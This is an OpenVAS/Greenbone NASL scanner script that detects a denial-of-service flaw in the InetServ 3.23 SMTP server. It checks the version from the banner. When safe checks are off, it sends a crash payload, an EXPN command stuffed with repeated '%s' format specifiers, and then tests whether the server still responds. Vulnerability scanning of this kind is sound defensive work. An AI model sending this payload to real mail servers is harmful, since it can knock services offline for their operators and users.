A-V Tronics InetServ SMTP Denial of Service Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103040");
  script_version("2023-10-31T05:06:37+0000");
  script_tag(name:"last_modification", value:"2023-10-31 05:06:37 +0000 (Tue, 31 Oct 2023)");
  script_tag(name:"creation_date", value:"2011-01-24 13:11:38 +0100 (Mon, 24 Jan 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("A-V Tronics InetServ SMTP Denial of Service Vulnerability");
  script_category(ACT_MIXED_ATTACK);
  script_family("SMTP problems");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("smtpserver_detect.nasl", "check_smtp_helo.nasl");
  script_require_ports("Services/smtp", 25);
  script_mandatory_keys("smtp/inetserver/detected");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/45960");

  script_tag(name:"summary", value:"InetServ is prone to a denial of service (DoS) vulnerability.");

  script_tag(name:"impact", value:"Exploiting this issue may allow attackers to cause the application to
  crash, resulting in denial-of-service conditions.");

  script_tag(name:"affected", value:"Inetserv 3.23 is vulnerable. Other versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("smtp_func.inc");
include("version_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = smtp_get_port(default:25);
banner = smtp_get_banner(port:port);
if(!banner || "InetServer" >!< banner)
  exit(0);

if(safe_checks()) {
  version = eregmatch(pattern:"InetServer \(([0-9.]+)\)", string:banner);
  if(version[1]) {
    if(version_is_equal(version:version[1], test_version:"3.2.3")) {
      report = report_fixed_ver(installed_version:version[1], fixed_version:"WillNotFix");
      security_message(port:port, data:report);
      exit(0);
    }
    exit(99);
  }
  exit(0);
} else {

  soc = smtp_open(port:port, data:smtp_get_helo_from_kb(port:port));
  if(!soc)
    exit(0);

  ex = "EXPN " + crap(data:string("%s"), length:80) + string("\r\n");
  send(socket:soc, data:ex);
  send(socket:soc, data:string("help\r\n"));

  if(!soc1 = smtp_open(port:port, data:NULL)) {
    close(soc);
    security_message(port:port);
    exit(0);
  }
  smtp_close(socket:soc, check_data:FALSE);
  smtp_close(socket:soc1, check_data:FALSE);
  exit(0);
}